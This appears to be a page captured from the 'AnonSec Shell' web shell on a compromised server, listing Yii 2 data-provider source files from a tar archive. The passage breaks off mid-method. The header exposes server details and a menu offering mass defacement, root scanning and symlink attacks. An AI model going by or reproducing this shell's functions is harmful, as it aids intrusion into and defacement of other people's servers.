AnonSec Shell

Server IP : 162.19.86.63 / Your IP : 216.73.216.249 [ Reverse IP ]
Web Server : Apache
System : Linux oirealestate.net 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64
User : oinversion ( 10001)
PHP Version : 5.6.40
Disable Function : opcache_get_status
Domains : 5 Domains
MySQL : ON | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF
Directory : /var/www/vhosts/oinversion.com/.trash/
Upload File :
[ HOME ] [ BACKUP SHELL ] [ JUMPING ] [ MASS DEFACE ] [ SCAN ROOT ] [ SYMLINK ]
Current File : /var/www/vhosts/oinversion.com/.trash/data.tar
SqlDataProvider.php000066600000011763151456237120010343 0ustar00<?php
/**
 * @link http://www.yiiframework.com/
 * @copyright Copyright (c) 2008 Yii Software LLC
 * @license http://www.yiiframework.com/license/
 */

namespace yii\data;

use Yii;
use yii\base\InvalidConfigException;
use yii\db\Connection;
use yii\db\Expression;
use yii\di\Instance;

/**
 * SqlDataProvider implements a data provider based on a plain SQL statement.
 *
 * SqlDataProvider provides data in terms of arrays, each representing a row of query result.
 *
 * Like other data providers, SqlDataProvider also supports sorting and pagination.
 * It does so by modifying the given [[sql]] statement with "ORDER BY" and "LIMIT"
 * clauses. You may configure the [[sort]] and [[pagination]] properties to
 * customize sorting and pagination behaviors.
 *
 * SqlDataProvider may be used in the following way:
 *
 * ```php
 * $count = Yii::$app->db->createCommand('
 *     SELECT COUNT(*) FROM user WHERE status=:status
 * ', [':status' => 1])->queryScalar();
 *
 * $dataProvider = new SqlDataProvider([
 *     'sql' => 'SELECT * FROM user WHERE status=:status',
 *     'params' => [':status' => 1],
 *     'totalCount' => $count,
 *     'sort' => [
 *         'attributes' => [
 *             'age',
 *             'name' => [
 *                 'asc' => ['first_name' => SORT_ASC, 'last_name' => SORT_ASC],
 *                 'desc' => ['first_name' => SORT_DESC, 'last_name' => SORT_DESC],
 *                 'default' => SORT_DESC,
 *                 'label' => 'Name',
 *             ],
 *         ],
 *     ],
 *     'pagination' => [
 *         'pageSize' => 20,
 *     ],
 * ]);
 *
 * // get the user records in the current page
 * $models = $dataProvider->getModels();
 * ```
 *
 * Note: if you want to use the pagination feature, you must configure the [[totalCount]] property
 * to be the total number of rows (without pagination). And if you want to use the sorting feature,
 * you must configure the [[sort]] property so that the provider knows which columns can be sorted.
 *
 * @author Qiang Xue <qiang.xue@gmail.com>
 * @since 2.0
 */
class SqlDataProvider extends BaseDataProvider
{
    /**
     * @var Connection|array|string the DB connection object or the application component ID of the DB connection.
     * Starting from version 2.0.2, this can also be a configuration array for creating the object.
     */
    public $db = 'db';
    /**
     * @var string the SQL statement to be used for fetching data rows.
     */
    public $sql;
    /**
     * @var array parameters (name=>value) to be bound to the SQL statement.
     */
    public $params = [];
    /**
     * @var string|callable the column that is used as the key of the data models.
     * This can be either a column name, or a callable that returns the key value of a given data model.
     *
     * If this is not set, the keys of the [[models]] array will be used.
     */
    public $key;


    /**
     * Initializes the DB connection component.
     * This method will initialize the [[db]] property to make sure it refers to a valid DB connection.
     * @throws InvalidConfigException if [[db]] is invalid.
     */
    public function init()
    {
        parent::init();
        $this->db = Instance::ensure($this->db, Connection::className());
        if ($this->sql === null) {
            throw new InvalidConfigException('The "sql" property must be set.');
        }
    }

    /**
     * @inheritdoc
     */
    protected function prepareModels()
    {
        $sort = $this->getSort();
        $pagination = $this->getPagination();
        if ($pagination === false && $sort === false) {
            return $this->db->createCommand($this->sql, $this->params)->queryAll();
        }

        $sql = $this->sql;
        $orders = [];
        $limit = $offset = null;

        if ($sort !== false) {
            $orders = $sort->getOrders();
            $pattern = '/\s+order\s+by\s+([\w\s,\.]+)$/i';
            if (preg_match($pattern, $sql, $matches)) {
                array_unshift($orders, new Expression($matches[1]));
                $sql = preg_replace($pattern, '', $sql);
            }
        }

        if ($pagination !== false) {
            $pagination->totalCount = $this->getTotalCount();
            $limit = $pagination->getLimit();
            $offset = $pagination->getOffset();
        }

        $sql = $this->db->getQueryBuilder()->buildOrderByAndLimit($sql, $orders, $limit, $offset);

        return $this->db->createCommand($sql, $this->params)->queryAll();
    }

    /**
     * @inheritdoc
     */
    protected function prepareKeys($models)
    {
        $keys = [];
        if ($this->key !== null) {
            foreach ($models as $model) {
                if (is_string($this->key)) {
                    $keys[] = $model[$this->key];
                } else {
                    $keys[] = call_user_func($this->key, $model);
                }
            }

            return $keys;
        } else {
            return array_keys($models);
        }
    }

    /**
     * @inheritdoc
     */
    protected function prepareTotalCount()
    {
        return 0;
    }
}
ActiveDataProvider.php000066600000014063151456237120011013 0ustar00<?php
/**
 * @link http://www.yiiframework.com/
 * @copyright Copyright (c) 2008 Yii Software LLC
 * @license http://www.yiiframework.com/license/
 */

namespace yii\data;

use Yii;
use yii\db\ActiveQueryInterface;
use yii\base\InvalidConfigException;
use yii\base\Model;
use yii\db\Connection;
use yii\db\QueryInterface;
use yii\di\Instance;

/**
 * ActiveDataProvider implements a data provider based on [[\yii\db\Query]] and [[\yii\db\ActiveQuery]].
 *
 * ActiveDataProvider provides data by performing DB queries using [[query]].
 *
 * The following is an example of using ActiveDataProvider to provide ActiveRecord instances:
 *
 * ```php
 * $provider = new ActiveDataProvider([
 *     'query' => Post::find(),
 *     'pagination' => [
 *         'pageSize' => 20,
 *     ],
 * ]);
 *
 * // get the posts in the current page
 * $posts = $provider->getModels();
 * ```
 *
 * And the following example shows how to use ActiveDataProvider without ActiveRecord:
 *
 * ```php
 * $query = new Query();
 * $provider = new ActiveDataProvider([
 *     'query' => $query->from('post'),
 *     'pagination' => [
 *         'pageSize' => 20,
 *     ],
 * ]);
 *
 * // get the posts in the current page
 * $posts = $provider->getModels();
 * ```
 *
 * @author Qiang Xue <qiang.xue@gmail.com>
 * @since 2.0
 */
class ActiveDataProvider extends BaseDataProvider
{
    /**
     * @var QueryInterface the query that is used to fetch data models and [[totalCount]]
     * if it is not explicitly set.
     */
    public $query;
    /**
     * @var string|callable the column that is used as the key of the data models.
     * This can be either a column name, or a callable that returns the key value of a given data model.
     *
     * If this is not set, the following rules will be used to determine the keys of the data models:
     *
     * - If [[query]] is an [[\yii\db\ActiveQuery]] instance, the primary keys of [[\yii\db\ActiveQuery::modelClass]] will be used.
     * - Otherwise, the keys of the [[models]] array will be used.
     *
     * @see getKeys()
     */
    public $key;
    /**
     * @var Connection|array|string the DB connection object or the application component ID of the DB connection.
     * If not set, the default DB connection will be used.
     * Starting from version 2.0.2, this can also be a configuration array for creating the object.
     */
    public $db;


    /**
     * Initializes the DB connection component.
     * This method will initialize the [[db]] property to make sure it refers to a valid DB connection.
     * @throws InvalidConfigException if [[db]] is invalid.
     */
    public function init()
    {
        parent::init();
        if (is_string($this->db)) {
            $this->db = Instance::ensure($this->db, Connection::className());
        }
    }

    /**
     * @inheritdoc
     */
    protected function prepareModels()
    {
        if (!$this->query instanceof QueryInterface) {
            throw new InvalidConfigException('The "query" property must be an instance of a class that implements the QueryInterface e.g. yii\db\Query or its subclasses.');
        }
        $query = clone $this->query;
        if (($pagination = $this->getPagination()) !== false) {
            $pagination->totalCount = $this->getTotalCount();
            $query->limit($pagination->getLimit())->offset($pagination->getOffset());
        }
        if (($sort = $this->getSort()) !== false) {
            $query->addOrderBy($sort->getOrders());
        }

        return $query->all($this->db);
    }

    /**
     * @inheritdoc
     */
    protected function prepareKeys($models)
    {
        $keys = [];
        if ($this->key !== null) {
            foreach ($models as $model) {
                if (is_string($this->key)) {
                    $keys[] = $model[$this->key];
                } else {
                    $keys[] = call_user_func($this->key, $model);
                }
            }

            return $keys;
        } elseif ($this->query instanceof ActiveQueryInterface) {
            /* @var $class \yii\db\ActiveRecord */
            $class = $this->query->modelClass;
            $pks = $class::primaryKey();
            if (count($pks) === 1) {
                $pk = $pks[0];
                foreach ($models as $model) {
                    $keys[] = $model[$pk];
                }
            } else {
                foreach ($models as $model) {
                    $kk = [];
                    foreach ($pks as $pk) {
                        $kk[$pk] = $model[$pk];
                    }
                    $keys[] = $kk;
                }
            }

            return $keys;
        } else {
            return array_keys($models);
        }
    }

    /**
     * @inheritdoc
     */
    protected function prepareTotalCount()
    {
        if (!$this->query instanceof QueryInterface) {
            throw new InvalidConfigException('The "query" property must be an instance of a class that implements the QueryInterface e.g. yii\db\Query or its subclasses.');
        }
        $query = clone $this->query;
        return (int) $query->limit(-1)->offset(-1)->orderBy([])->count('*', $this->db);
    }

    /**
     * @inheritdoc
     */
    public function setSort($value)
    {
        parent::setSort($value);
        if (($sort = $this->getSort()) !== false && $this->query instanceof ActiveQueryInterface) {
            /* @var $model Model */
            $model = new $this->query->modelClass;
            if (empty($sort->attributes)) {
                foreach ($model->attributes() as $attribute) {
                    $sort->attributes[$attribute] = [
                        'asc' => [$attribute => SORT_ASC],
                        'desc' => [$attribute => SORT_DESC],
                        'label' => $model->getAttributeLabel($attribute),
                    ];
                }
            } else {
                foreach ($sort->attributes as $attribute => $config) {
                    if (!isset($config['label'])) {
                        $sort->attributes[$attribute]['label'] = $model->getAttributeLabel($attribute);
                    }
                }
            }
        }
    }
}
ArrayDataProvider.php000066600000010153151456237120010652 0ustar00<?php
/**
 * @link http://www.yiiframework.com/
 * @copyright Copyright (c) 2008 Yii Software LLC
 * @license http://www.yiiframework.com/license/
 */

namespace yii\data;

use yii\helpers\ArrayHelper;

/**
 * ArrayDataProvider implements a data provider based on a data array.
 *
 * The [[allModels]] property contains all data models that may be sorted and/or paginated.
 * ArrayDataProvider will provide the data after sorting and/or pagination.
 * You may configure the [[sort]] and [[pagination]] properties to
 * customize the sorting and pagination behaviors.
 *
 * Elements in the [[allModels]] array may be either objects (e.g. model objects)
 * or associative arrays (e.g. query results of DAO).
 * Make sure to set the [[key]] property to the name of the field that uniquely
 * identifies a data record or false if you do not have such a field.
 *
 * Compared to [[ActiveDataProvider]], ArrayDataProvider could be less efficient
 * because it needs to have [[allModels]] ready.
 *
 * ArrayDataProvider may be used in the following way:
 *
 * ```php
 * $query = new Query;
 * $provider = new ArrayDataProvider([
 *     'allModels' => $query->from('post')->all(),
 *     'sort' => [
 *         'attributes' => ['id', 'username', 'email'],
 *     ],
 *     'pagination' => [
 *         'pageSize' => 10,
 *     ],
 * ]);
 * // get the posts in the current page
 * $posts = $provider->getModels();
 * ```
 *
 * Note: if you want to use the sorting feature, you must configure the [[sort]] property
 * so that the provider knows which columns can be sorted.
 *
 * @author Qiang Xue <qiang.xue@gmail.com>
 * @since 2.0
 */
class ArrayDataProvider extends BaseDataProvider
{
    /**
     * @var string|callable the column that is used as the key of the data models.
     * This can be either a column name, or a callable that returns the key value of a given data model.
     * If this is not set, the index of the [[models]] array will be used.
     * @see getKeys()
     */
    public $key;
    /**
     * @var array the data that is not paginated or sorted. When pagination is enabled,
     * this property usually contains more elements than [[models]].
     * The array elements must use zero-based integer keys.
     */
    public $allModels;
    /**
     * @var string the name of the [[\yii\base\Model|Model]] class that will be represented.
     * This property is used to get columns' names.
     * @since 2.0.9
     */
    public $modelClass;


    /**
     * @inheritdoc
     */
    protected function prepareModels()
    {
        if (($models = $this->allModels) === null) {
            return [];
        }

        if (($sort = $this->getSort()) !== false) {
            $models = $this->sortModels($models, $sort);
        }

        if (($pagination = $this->getPagination()) !== false) {
            $pagination->totalCount = $this->getTotalCount();

            if ($pagination->getPageSize() > 0) {
                $models = array_slice($models, $pagination->getOffset(), $pagination->getLimit(), true);
            }
        }

        return $models;
    }

    /**
     * @inheritdoc
     */
    protected function prepareKeys($models)
    {
        if ($this->key !== null) {
            $keys = [];
            foreach ($models as $model) {
                if (is_string($this->key)) {
                    $keys[] = $model[$this->key];
                } else {
                    $keys[] = call_user_func($this->key, $model);
                }
            }

            return $keys;
        } else {
            return array_keys($models);
        }
    }

    /**
     * @inheritdoc
     */
    protected function prepareTotalCount()
    {
        return count($this->allModels);
    }

    /**
     * Sorts the data models according to the given sort definition
     * @param array $models the models to be sorted
     * @param Sort $sort the sort definition
     * @return array the sorted data models
     */
    protected function sortModels($models, $sort)
    {
        $orders = $sort->getOrders();
        if (!empty($orders)) {
            ArrayHelper::multisort($models, array_keys($orders), array_values($orders));
        }

        return $models;
    }
}
DataProviderInterface.php000066600000004506151456237120011501 0ustar00<?php
/**
 * @link http://www.yiiframework.com/
 * @copyright Copyright (c) 2008 Yii Software LLC
 * @license http://www.yiiframework.com/license/
 */

namespace yii\data;

/**
 * DataProviderInterface is the interface that must be implemented by data provider classes.
 *
 * Data providers are components that sort and paginate data, and provide them to widgets
 * such as [[\yii\grid\GridView]], [[\yii\widgets\ListView]].
 *
 * @author Qiang Xue <qiang.xue@gmail.com>
 * @since 2.0
 */
interface DataProviderInterface
{
    /**
     * Prepares the data models and keys.
     *
     * This method will prepare the data models and keys that can be retrieved via
     * [[getModels()]] and [[getKeys()]].
     *
     * This method will be implicitly called by [[getModels()]] and [[getKeys()]] if it has not been called before.
     *
     * @param boolean $forcePrepare whether to force data preparation even if it has been done before.
     */
    public function prepare($forcePrepare = false);

    /**
     * Returns the number of data models in the current page.
     * This is equivalent to `count($provider->getModels())`.
     * When [[getPagination|pagination]] is false, this is the same as [[getTotalCount|totalCount]].
     * @return integer the number of data models in the current page.
     */
    public function getCount();

    /**
     * Returns the total number of data models.
     * When [[getPagination|pagination]] is false, this is the same as [[getCount|count]].
     * @return integer total number of possible data models.
     */
    public function getTotalCount();

    /**
     * Returns the data models in the current page.
     * @return array the list of data models in the current page.
     */
    public function getModels();

    /**
     * Returns the key values associated with the data models.
     * @return array the list of key values corresponding to [[getModels|models]]. Each data model in [[getModels|models]]
     * is uniquely identified by the corresponding key value in this array.
     */
    public function getKeys();

    /**
     * @return Sort the sorting object. If this is false, it means the sorting is disabled.
     */
    public function getSort();

    /**
     * @return Pagination the pagination object. If this is false, it means the pagination is disabled.
     */
    public function getPagination();
}
BaseDataProvider.php000066600000020754151456237120010456 0ustar00<?php
/**
 * @link http://www.yiiframework.com/
 * @copyright Copyright (c) 2008 Yii Software LLC
 * @license http://www.yiiframework.com/license/
 */

namespace yii\data;

use Yii;
use yii\base\Component;
use yii\base\InvalidParamException;

/**
 * BaseDataProvider provides a base class that implements the [[DataProviderInterface]].
 *
 * @property integer $count The number of data models in the current page. This property is read-only.
 * @property array $keys The list of key values corresponding to [[models]]. Each data model in [[models]] is
 * uniquely identified by the corresponding key value in this array.
 * @property array $models The list of data models in the current page.
 * @property Pagination|boolean $pagination The pagination object. If this is false, it means the pagination
 * is disabled. Note that the type of this property differs in getter and setter. See [[getPagination()]] and
 * [[setPagination()]] for details.
 * @property Sort|boolean $sort The sorting object. If this is false, it means the sorting is disabled. Note
 * that the type of this property differs in getter and setter. See [[getSort()]] and [[setSort()]] for details.
 * @property integer $totalCount Total number of possible data models.
 *
 * @author Qiang Xue <qiang.xue@gmail.com>
 * @since 2.0
 */
abstract class BaseDataProvider extends Component implements DataProviderInterface
{
    /**
     * @var string an ID that uniquely identifies the data provider among all data providers.
     * You should set this property if the same page contains two or more different data providers.
     * Otherwise, the [[pagination]] and [[sort]] may not work properly.
     */
    public $id;

    private $_sort;
    private $_pagination;
    private $_keys;
    private $_models;
    private $_totalCount;


    /**
     * Prepares the data models that will be made available in the current page.
     * @return array the available data models
     */
    abstract protected function prepareModels();

    /**
     * Prepares the keys associated with the currently available data models.
     * @param array $models the available data models
     * @return array the keys
     */
    abstract protected function prepareKeys($models);

    /**
     * Returns a value indicating the total number of data models in this data provider.
     * @return integer total number of data models in this data provider.
     */
    abstract protected function prepareTotalCount();

    /**
     * Prepares the data models and keys.
     *
     * This method will prepare the data models and keys that can be retrieved via
     * [[getModels()]] and [[getKeys()]].
     *
     * This method will be implicitly called by [[getModels()]] and [[getKeys()]] if it has not been called before.
     *
     * @param boolean $forcePrepare whether to force data preparation even if it has been done before.
     */
    public function prepare($forcePrepare = false)
    {
        if ($forcePrepare || $this->_models === null) {
            $this->_models = $this->prepareModels();
        }
        if ($forcePrepare || $this->_keys === null) {
            $this->_keys = $this->prepareKeys($this->_models);
        }
    }

    /**
     * Returns the data models in the current page.
     * @return array the list of data models in the current page.
     */
    public function getModels()
    {
        $this->prepare();

        return $this->_models;
    }

    /**
     * Sets the data models in the current page.
     * @param array $models the models in the current page
     */
    public function setModels($models)
    {
        $this->_models = $models;
    }

    /**
     * Returns the key values associated with the data models.
     * @return array the list of key values corresponding to [[models]]. Each data model in [[models]]
     * is uniquely identified by the corresponding key value in this array.
     */
    public function getKeys()
    {
        $this->prepare();

        return $this->_keys;
    }

    /**
     * Sets the key values associated with the data models.
     * @param array $keys the list of key values corresponding to [[models]].
     */
    public function setKeys($keys)
    {
        $this->_keys = $keys;
    }

    /**
     * Returns the number of data models in the current page.
     * @return integer the number of data models in the current page.
     */
    public function getCount()
    {
        return count($this->getModels());
    }

    /**
     * Returns the total number of data models.
     * When [[pagination]] is false, this returns the same value as [[count]].
     * Otherwise, it will call [[prepareTotalCount()]] to get the count.
     * @return integer total number of possible data models.
     */
    public function getTotalCount()
    {
        if ($this->getPagination() === false) {
            return $this->getCount();
        } elseif ($this->_totalCount === null) {
            $this->_totalCount = $this->prepareTotalCount();
        }

        return $this->_totalCount;
    }

    /**
     * Sets the total number of data models.
     * @param integer $value the total number of data models.
     */
    public function setTotalCount($value)
    {
        $this->_totalCount = $value;
    }

    /**
     * Returns the pagination object used by this data provider.
     * Note that you should call [[prepare()]] or [[getModels()]] first to get correct values
     * of [[Pagination::totalCount]] and [[Pagination::pageCount]].
     * @return Pagination|boolean the pagination object. If this is false, it means the pagination is disabled.
     */
    public function getPagination()
    {
        if ($this->_pagination === null) {
            $this->setPagination([]);
        }

        return $this->_pagination;
    }

    /**
     * Sets the pagination for this data provider.
     * @param array|Pagination|boolean $value the pagination to be used by this data provider.
     * This can be one of the following:
     *
     * - a configuration array for creating the pagination object. The "class" element defaults
     *   to 'yii\data\Pagination'
     * - an instance of [[Pagination]] or its subclass
     * - false, if pagination needs to be disabled.
     *
     * @throws InvalidParamException
     */
    public function setPagination($value)
    {
        if (is_array($value)) {
            $config = ['class' => Pagination::className()];
            if ($this->id !== null) {
                $config['pageParam'] = $this->id . '-page';
                $config['pageSizeParam'] = $this->id . '-per-page';
            }
            $this->_pagination = Yii::createObject(array_merge($config, $value));
        } elseif ($value instanceof Pagination || $value === false) {
            $this->_pagination = $value;
        } else {
            throw new InvalidParamException('Only Pagination instance, configuration array or false is allowed.');
        }
    }

    /**
     * Returns the sorting object used by this data provider.
     * @return Sort|boolean the sorting object. If this is false, it means the sorting is disabled.
     */
    public function getSort()
    {
        if ($this->_sort === null) {
            $this->setSort([]);
        }

        return $this->_sort;
    }

    /**
     * Sets the sort definition for this data provider.
     * @param array|Sort|boolean $value the sort definition to be used by this data provider.
     * This can be one of the following:
     *
     * - a configuration array for creating the sort definition object. The "class" element defaults
     *   to 'yii\data\Sort'
     * - an instance of [[Sort]] or its subclass
     * - false, if sorting needs to be disabled.
     *
     * @throws InvalidParamException
     */
    public function setSort($value)
    {
        if (is_array($value)) {
            $config = ['class' => Sort::className()];
            if ($this->id !== null) {
                $config['sortParam'] = $this->id . '-sort';
            }
            $this->_sort = Yii::createObject(array_merge($config, $value));
        } elseif ($value instanceof Sort || $value === false) {
            $this->_sort = $value;
        } else {
            throw new InvalidParamException('Only Sort instance, configuration array or false is allowed.');
        }
    }

    /**
     * Refreshes the data provider.
     * After calling this method, if [[getModels()]], [[getKeys()]] or [[getTotalCount()]] is called again,
     * they will re-execute the query and return the latest data available.
     */
    public function refresh()
    {
        $this->_totalCount = null;
        $this->_models = null;
        $this->_keys = null;
    }
}
Sort.php000066600000035675151456237120006236 0ustar00<?php
/**
 * @link http://www.yiiframework.com/
 * @copyright Copyright (c) 2008 Yii Software LLC
 * @license http://www.yiiframework.com/license/
 */

namespace yii\data;

use Yii;
use yii\base\InvalidConfigException;
use yii\base\Object;
use yii\helpers\Html;
use yii\helpers\Inflector;
use yii\web\Request;

/**
 * Sort represents information relevant to sorting.
 *
 * When data needs to be sorted according to one or several attributes,
 * we can use Sort to represent the sorting information and generate
 * appropriate hyperlinks that can lead to sort actions.
 *
 * A typical usage example is as follows,
 *
 * ```php
 * function actionIndex()
 * {
 *     $sort = new Sort([
 *         'attributes' => [
 *             'age',
 *             'name' => [
 *                 'asc' => ['first_name' => SORT_ASC, 'last_name' => SORT_ASC],
 *                 'desc' => ['first_name' => SORT_DESC, 'last_name' => SORT_DESC],
 *                 'default' => SORT_DESC,
 *                 'label' => 'Name',
 *             ],
 *         ],
 *     ]);
 *
 *     $models = Article::find()
 *         ->where(['status' => 1])
 *         ->orderBy($sort->orders)
 *         ->all();
 *
 *     return $this->render('index', [
 *          'models' => $models,
 *          'sort' => $sort,
 *     ]);
 * }
 * ```
 *
 * View:
 *
 * ```php
 * // display links leading to sort actions
 * echo $sort->link('name') . ' | ' . $sort->link('age');
 *
 * foreach ($models as $model) {
 *     // display $model here
 * }
 * ```
 *
 * In the above, we declare two [[attributes]] that support sorting: name and age.
 * We pass the sort information to the Article query so that the query results are
 * sorted by the orders specified by the Sort object. In the view, we show two hyperlinks
 * that can lead to pages with the data sorted by the corresponding attributes.
 *
 * @property array $attributeOrders Sort directions indexed by attribute names. Sort direction can be either
 * `SORT_ASC` for ascending order or `SORT_DESC` for descending order. This property is read-only.
 * @property array $orders The columns (keys) and their corresponding sort directions (values). This can be
 * passed to [[\yii\db\Query::orderBy()]] to construct a DB query. This property is read-only.
 *
 * @author Qiang Xue <qiang.xue@gmail.com>
 * @since 2.0
 */
class Sort extends Object
{
    /**
     * @var boolean whether the sorting can be applied to multiple attributes simultaneously.
     * Defaults to false, which means each time the data can only be sorted by one attribute.
     */
    public $enableMultiSort = false;
    /**
     * @var array list of attributes that are allowed to be sorted. Its syntax can be
     * described using the following example:
     *
     * ```php
     * [
     *     'age',
     *     'name' => [
     *         'asc' => ['first_name' => SORT_ASC, 'last_name' => SORT_ASC],
     *         'desc' => ['first_name' => SORT_DESC, 'last_name' => SORT_DESC],
     *         'default' => SORT_DESC,
     *         'label' => 'Name',
     *     ],
     * ]
     * ```
     *
     * In the above, two attributes are declared: "age" and "name". The "age" attribute is
     * a simple attribute which is equivalent to the following:
     *
     * ```php
     * 'age' => [
     *     'asc' => ['age' => SORT_ASC],
     *     'desc' => ['age' => SORT_DESC],
     *     'default' => SORT_ASC,
     *     'label' => Inflector::camel2words('age'),
     * ]
     * ```
     *
     * The "name" attribute is a composite attribute:
     *
     * - The "name" key represents the attribute name which will appear in the URLs leading
     *   to sort actions.
     * - The "asc" and "desc" elements specify how to sort by the attribute in ascending
     *   and descending orders, respectively. Their values represent the actual columns and
     *   the directions by which the data should be sorted by.
     * - The "default" element specifies by which direction the attribute should be sorted
     *   if it is not currently sorted (the default value is ascending order).
     * - The "label" element specifies what label should be used when calling [[link()]] to create
     *   a sort link. If not set, [[Inflector::camel2words()]] will be called to get a label.
     *   Note that it will not be HTML-encoded.
     *
     * Note that if the Sort object is already created, you can only use the full format
     * to configure every attribute. Each attribute must include these elements: `asc` and `desc`.
     */
    public $attributes = [];
    /**
     * @var string the name of the parameter that specifies which attributes to be sorted
     * in which direction. Defaults to 'sort'.
     * @see params
     */
    public $sortParam = 'sort';
    /**
     * @var array the order that should be used when the current request does not specify any order.
     * The array keys are attribute names and the array values are the corresponding sort directions. For example,
     *
     * ```php
     * [
     *     'name' => SORT_ASC,
     *     'created_at' => SORT_DESC,
     * ]
     * ```
     *
     * @see attributeOrders
     */
    public $defaultOrder;
    /**
     * @var string the route of the controller action for displaying the sorted contents.
     * If not set, it means using the currently requested route.
     */
    public $route;
    /**
     * @var string the character used to separate different attributes that need to be sorted by.
     */
    public $separator = ',';
    /**
     * @var array parameters (name => value) that should be used to obtain the current sort directions
     * and to create new sort URLs. If not set, $_GET will be used instead.
     *
     * In order to add hash to all links use `array_merge($_GET, ['#' => 'my-hash'])`.
     *
     * The array element indexed by [[sortParam]] is considered to be the current sort directions.
     * If the element does not exist, the [[defaultOrder|default order]] will be used.
     *
     * @see sortParam
     * @see defaultOrder
     */
    public $params;
    /**
     * @var \yii\web\UrlManager the URL manager used for creating sort URLs. If not set,
     * the "urlManager" application component will be used.
     */
    public $urlManager;


    /**
     * Normalizes the [[attributes]] property.
     */
    public function init()
    {
        $attributes = [];
        foreach ($this->attributes as $name => $attribute) {
            if (!is_array($attribute)) {
                $attributes[$attribute] = [
                    'asc' => [$attribute => SORT_ASC],
                    'desc' => [$attribute => SORT_DESC],
                ];
            } elseif (!isset($attribute['asc'], $attribute['desc'])) {
                $attributes[$name] = array_merge([
                    'asc' => [$name => SORT_ASC],
                    'desc' => [$name => SORT_DESC],
                ], $attribute);
            } else {
                $attributes[$name] = $attribute;
            }
        }
        $this->attributes = $attributes;
    }

    /**
     * Returns the columns and their corresponding sort directions.
     * @param boolean $recalculate whether to recalculate the sort directions
     * @return array the columns (keys) and their corresponding sort directions (values).
     * This can be passed to [[\yii\db\Query::orderBy()]] to construct a DB query.
     */
    public function getOrders($recalculate = false)
    {
        $attributeOrders = $this->getAttributeOrders($recalculate);
        $orders = [];
        foreach ($attributeOrders as $attribute => $direction) {
            $definition = $this->attributes[$attribute];
            $columns = $definition[$direction === SORT_ASC ? 'asc' : 'desc'];
            foreach ($columns as $name => $dir) {
                $orders[$name] = $dir;
            }
        }

        return $orders;
    }

    /**
     * @var array the currently requested sort order as computed by [[getAttributeOrders]].
     */
    private $_attributeOrders;

    /**
     * Returns the currently requested sort information.
     * @param boolean $recalculate whether to recalculate the sort directions
     * @return array sort directions indexed by attribute names.
     * Sort direction can be either `SORT_ASC` for ascending order or
     * `SORT_DESC` for descending order.
     */
    public function getAttributeOrders($recalculate = false)
    {
        if ($this->_attributeOrders === null || $recalculate) {
            $this->_attributeOrders = [];
            if (($params = $this->params) === null) {
                $request = Yii::$app->getRequest();
                $params = $request instanceof Request ? $request->getQueryParams() : [];
            }
            if (isset($params[$this->sortParam]) && is_scalar($params[$this->sortParam])) {
                $attributes = explode($this->separator, $params[$this->sortParam]);
                foreach ($attributes as $attribute) {
                    $descending = false;
                    if (strncmp($attribute, '-', 1) === 0) {
                        $descending = true;
                        $attribute = substr($attribute, 1);
                    }

                    if (isset($this->attributes[$attribute])) {
                        $this->_attributeOrders[$attribute] = $descending ? SORT_DESC : SORT_ASC;
                        if (!$this->enableMultiSort) {
                            return $this->_attributeOrders;
                        }
                    }
                }
            }
            if (empty($this->_attributeOrders) && is_array($this->defaultOrder)) {
                $this->_attributeOrders = $this->defaultOrder;
            }
        }

        return $this->_attributeOrders;
    }

    /**
     * Returns the sort direction of the specified attribute in the current request.
     * @param string $attribute the attribute name
     * @return boolean|null Sort direction of the attribute. Can be either `SORT_ASC`
     * for ascending order or `SORT_DESC` for descending order. Null is returned
     * if the attribute is invalid or does not need to be sorted.
     */
    public function getAttributeOrder($attribute)
    {
        $orders = $this->getAttributeOrders();

        return isset($orders[$attribute]) ? $orders[$attribute] : null;
    }

    /**
     * Generates a hyperlink that links to the sort action to sort by the specified attribute.
     * Based on the sort direction, the CSS class of the generated hyperlink will be appended
     * with "asc" or "desc".
     * @param string $attribute the attribute name by which the data should be sorted by.
     * @param array $options additional HTML attributes for the hyperlink tag.
     * There is one special attribute `label` which will be used as the label of the hyperlink.
     * If this is not set, the label defined in [[attributes]] will be used.
     * If no label is defined, [[\yii\helpers\Inflector::camel2words()]] will be called to get a label.
     * Note that it will not be HTML-encoded.
     * @return string the generated hyperlink
     * @throws InvalidConfigException if the attribute is unknown
     */
    public function link($attribute, $options = [])
    {
        if (($direction = $this->getAttributeOrder($attribute)) !== null) {
            $class = $direction === SORT_DESC ? 'desc' : 'asc';
            if (isset($options['class'])) {
                $options['class'] .= ' ' . $class;
            } else {
                $options['class'] = $class;
            }
        }

        $url = $this->createUrl($attribute);
        $options['data-sort'] = $this->createSortParam($attribute);

        if (isset($options['label'])) {
            $label = $options['label'];
            unset($options['label']);
        } else {
            if (isset($this->attributes[$attribute]['label'])) {
                $label = $this->attributes[$attribute]['label'];
            } else {
                $label = Inflector::camel2words($attribute);
            }
        }

        return Html::a($label, $url, $options);
    }

    /**
     * Creates a URL for sorting the data by the specified attribute.
     * This method will consider the current sorting status given by [[attributeOrders]].
     * For example, if the current page already sorts the data by the specified attribute in ascending order,
     * then the URL created will lead to a page that sorts the data by the specified attribute in descending order.
     * @param string $attribute the attribute name
     * @param boolean $absolute whether to create an absolute URL. Defaults to `false`.
     * @return string the URL for sorting. False if the attribute is invalid.
     * @throws InvalidConfigException if the attribute is unknown
     * @see attributeOrders
     * @see params
     */
    public function createUrl($attribute, $absolute = false)
    {
        if (($params = $this->params) === null) {
            $request = Yii::$app->getRequest();
            $params = $request instanceof Request ? $request->getQueryParams() : [];
        }
        $params[$this->sortParam] = $this->createSortParam($attribute);
        $params[0] = $this->route === null ? Yii::$app->controller->getRoute() : $this->route;
        $urlManager = $this->urlManager === null ? Yii::$app->getUrlManager() : $this->urlManager;
        if ($absolute) {
            return $urlManager->createAbsoluteUrl($params);
        } else {
            return $urlManager->createUrl($params);
        }
    }

    /**
     * Creates the sort variable for the specified attribute.
     * The newly created sort variable can be used to create a URL that will lead to
     * sorting by the specified attribute.
     * @param string $attribute the attribute name
     * @return string the value of the sort variable
     * @throws InvalidConfigException if the specified attribute is not defined in [[attributes]]
     */
    public function createSortParam($attribute)
    {
        if (!isset($this->attributes[$attribute])) {
            throw new InvalidConfigException("Unknown attribute: $attribute");
        }
        $definition = $this->attributes[$attribute];
        $directions = $this->getAttributeOrders();
        if (isset($directions[$attribute])) {
            $direction = $directions[$attribute] === SORT_DESC ? SORT_ASC : SORT_DESC;
            unset($directions[$attribute]);
        } else {
